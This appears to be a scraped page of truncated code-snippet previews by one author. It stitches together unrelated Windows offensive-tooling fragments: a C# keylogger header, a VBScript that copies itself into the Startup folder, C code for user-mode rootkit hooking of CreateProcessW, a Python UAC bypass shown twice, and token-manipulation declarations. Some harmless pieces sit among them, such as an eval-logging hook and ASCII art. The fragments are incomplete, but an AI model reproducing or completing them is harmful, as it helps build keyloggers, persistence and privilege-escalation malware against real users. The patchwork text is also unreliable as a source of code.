aaaddress1

//
//                       _oo0oo_
//                      o8888888o
//                      88" . "88
//                      (| -_- |)
//                      0\  =  /0
//                    ___/`---'\___
//                  .' \\|     |// '.
//                 / \\|||  :  |||// \
//                / _||||| -:- |||||- \

aaaddress1

!function () {
    var global = this;
    var old_eval = global.eval;
    var old_const = global.Function.prototype.constructor;
    global.Function.prototype.constructor = function (code) {
        console.log('Function Constructor: ' + code);
        return old_const(code);
    };
    global.eval = function (code) {
        console.log('EVIL: ' + code);

aaaddress1

/* @file: brainFuckCppCall.cpp
 * @author: aaaddress1@chroot.org
 */
#include <stdio.h>
#include <Windows.h>

template<class T> struct func {
	explicit func(FARPROC ptr) : _ptr(ptr) {}
	operator T() { return reinterpret_cast<T>(_ptr); }
	FARPROC _ptr;

aaaddress1

using System;
using System.IO;
using System.Diagnostics;
using System.Windows.Forms;
using System.Configuration.Install;
using System.Runtime.InteropServices;
//KeyStroke Mouse Clicks Code
/* 
 * https://code.google.com/p/klog-sharp/
*/

aaaddress1

Dim Wsh
Set Wsh = Wscript.CreateObject("Wscript.Shell")
Dim Objectfs
Set Objectfs = CreateObject("Scripting.FileSystemObject")
set fso = createobject("scripting.filesystemobject") 
set ws = createobject("wscript.shell")
pt = ws.specialfolders("startup") & "\" 
set file = fso.getfile(wscript.scriptfullname)
If Objectfs.FileExists(pt & "r.vbe") Then
else

aaaddress1

#include <windows.h>
#include <stdio.h>


FARPROC fpCreateProcessW;
BYTE bSavedByte;

// Blog Post Here:
// https://0x00sec.org/t/user-mode-rootkits-iat-and-inline-hooking/1108
// tasklist | findstr explore.exe

aaaddress1

ooo

aaaddress1

# -*- coding: utf-8 -*-
# All credits go to CIA: https://gist.github.com/hfiref0x/59c689a14f1fc2302d858ae0aa3f6b86 (please don't hack me <3 :))
# This is trully a Always Notify UAC Bypass,cause it uses process enumeration to find elevated processes. Since you need administrative privileges to get TOKEN_ELEVATION,we look for processes with manifests that have <autoElevate></autoElevate> set to True.
from ctypes.wintypes import *
from ctypes import *
from enum import IntEnum

kernel32 = WinDLL('kernel32', use_last_error=True)
advapi32 = WinDLL('advapi32', use_last_error=True)
shell32  = WinDLL('shell32' , use_last_error=True)

aaaddress1

# -*- coding: utf-8 -*-
# All credits go to CIA: https://gist.github.com/hfiref0x/59c689a14f1fc2302d858ae0aa3f6b86 (please don't hack me <3 :))
# This is trully a Always Notify UAC Bypass,cause it uses process enumeration to find elevated processes. Since you need administrative privileges to get TOKEN_ELEVATION,we look for processes with manifests that have <autoElevate></autoElevate> set to True.
from ctypes.wintypes import *
from ctypes import *
from enum import IntEnum

kernel32 = WinDLL('kernel32', use_last_error=True)
advapi32 = WinDLL('advapi32', use_last_error=True)
shell32  = WinDLL('shell32' , use_last_error=True)

aaaddress1

	DWORD Error, bytesIO;
	NTSTATUS Status;
	HANDLE hProcessToken = NULL, hNewToken = NULL, hTest;
	BOOL bCond = FALSE;
	SHELLEXECUTEINFO shinfo;
	SID_IDENTIFIER_AUTHORITY MLAuthority = SECURITY_MANDATORY_LABEL_AUTHORITY;
	TOKEN_MANDATORY_LABEL tml, *ptml;
	PSID pIntegritySid = NULL;
	STARTUPINFO si;
	PROCESS_INFORMATION pi;